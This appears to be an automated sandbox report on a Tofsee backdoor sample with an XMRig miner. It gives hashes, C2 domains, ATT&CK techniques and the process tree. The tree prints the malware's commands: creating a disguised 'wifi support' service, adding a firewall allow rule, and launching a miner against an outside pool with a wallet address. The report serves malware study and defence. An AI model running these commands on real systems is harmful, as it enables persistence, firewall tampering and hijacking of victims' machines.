Analysis

  • max time kernel
    151s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 01:19

General

  • Target

    51ef98d09961f9cf455b4e042999f4f2ca47f908e2432fc58e976ab9d4268b3a.exe

  • Size

    148KB

  • MD5

    674f6f47bcd256ab551b0b41f1bcaab4

  • SHA1

    b4e1d5b2b4c283265dc5a54ecc66d09289fe9f75

  • SHA256

    51ef98d09961f9cf455b4e042999f4f2ca47f908e2432fc58e976ab9d4268b3a

  • SHA512

    e9fa747bd48234c3075f56f55f7eb659af0c57cb4f60a0594d827d74a1362cae26e126d5e150c7d5c22561a91cd2c552a2731e1692dba17bd9896bc9f685f8d1

  • SSDEEP

    1536:MooT+fuLjBDF9pSbFP8BnWkPk0Wn5/NV032+QbhY06R4u1uc7fpqoEW7LlaRsrGW:MooTyeE8AeWn5loJ0KF7fJPWuxl/D

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\51ef98d09961f9cf455b4e042999f4f2ca47f908e2432fc58e976ab9d4268b3a.exe
    "C:\Users\Admin\AppData\Local\Temp\51ef98d09961f9cf455b4e042999f4f2ca47f908e2432fc58e976ab9d4268b3a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fkobrycd\
      2⤵
        PID:2036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pespiokn.exe" C:\Windows\SysWOW64\fkobrycd\
        2⤵
          PID:1924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fkobrycd binPath= "C:\Windows\SysWOW64\fkobrycd\pespiokn.exe /d\"C:\Users\Admin\AppData\Local\Temp\51ef98d09961f9cf455b4e042999f4f2ca47f908e2432fc58e976ab9d4268b3a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fkobrycd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fkobrycd
          2⤵
          • Launches sc.exe
          PID:1664
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:584
      • C:\Windows\SysWOW64\fkobrycd\pespiokn.exe
        C:\Windows\SysWOW64\fkobrycd\pespiokn.exe /d"C:\Users\Admin\AppData\Local\Temp\51ef98d09961f9cf455b4e042999f4f2ca47f908e2432fc58e976ab9d4268b3a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:932
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1956
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1964

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pespiokn.exe
        Filesize

        14.5MB

        MD5

        de3a9790833b53298cdc0f4b4fd46426

        SHA1

        2e9e79f7497b48ee41031f9e447b94789d81ff8f

        SHA256

        11334b88a39b67eaa29cb4e52116880a13ab82bed705a53bbd3252d255e60017

        SHA512

        a09d36ca906144236340f59bce2b002704ff345533ab42121d5ca3267b4544db646a2893f0e14219df4f1c500b668c3eca40e6be904ec4bdce3f8c1b4d024664

      • C:\Windows\SysWOW64\fkobrycd\pespiokn.exe
        Filesize

        14.5MB

        MD5

        de3a9790833b53298cdc0f4b4fd46426

        SHA1

        2e9e79f7497b48ee41031f9e447b94789d81ff8f

        SHA256

        11334b88a39b67eaa29cb4e52116880a13ab82bed705a53bbd3252d255e60017

        SHA512

        a09d36ca906144236340f59bce2b002704ff345533ab42121d5ca3267b4544db646a2893f0e14219df4f1c500b668c3eca40e6be904ec4bdce3f8c1b4d024664

      • memory/584-66-0x0000000000000000-mapping.dmp
      • memory/656-59-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/656-57-0x0000000000230000-0x0000000000330000-memory.dmp
        Filesize

        1024KB

      • memory/656-55-0x0000000075131000-0x0000000075133000-memory.dmp
        Filesize

        8KB

      • memory/656-65-0x0000000000230000-0x0000000000330000-memory.dmp
        Filesize

        1024KB

      • memory/656-58-0x00000000003A0000-0x00000000003B3000-memory.dmp
        Filesize

        76KB

      • memory/656-67-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/932-77-0x0000000000BDB000-0x0000000000BEC000-memory.dmp
        Filesize

        68KB

      • memory/932-71-0x0000000000BDB000-0x0000000000BEC000-memory.dmp
        Filesize

        68KB

      • memory/932-74-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/932-80-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/1664-64-0x0000000000000000-mapping.dmp
      • memory/1752-63-0x0000000000000000-mapping.dmp
      • memory/1924-60-0x0000000000000000-mapping.dmp
      • memory/1956-84-0x0000000001870000-0x0000000001A7F000-memory.dmp
        Filesize

        2.1MB

      • memory/1956-83-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1956-76-0x00000000000C9A6B-mapping.dmp
      • memory/1956-99-0x0000000000270000-0x0000000000277000-memory.dmp
        Filesize

        28KB

      • memory/1956-90-0x0000000000250000-0x0000000000260000-memory.dmp
        Filesize

        64KB

      • memory/1956-82-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1956-75-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1956-72-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1956-96-0x0000000005860000-0x0000000005C6B000-memory.dmp
        Filesize

        4.0MB

      • memory/1956-87-0x00000000000E0000-0x00000000000E6000-memory.dmp
        Filesize

        24KB

      • memory/1956-93-0x0000000000260000-0x0000000000265000-memory.dmp
        Filesize

        20KB

      • memory/1964-102-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/1964-104-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/1964-109-0x000000000026259C-mapping.dmp
      • memory/2004-62-0x0000000000000000-mapping.dmp
      • memory/2036-56-0x0000000000000000-mapping.dmp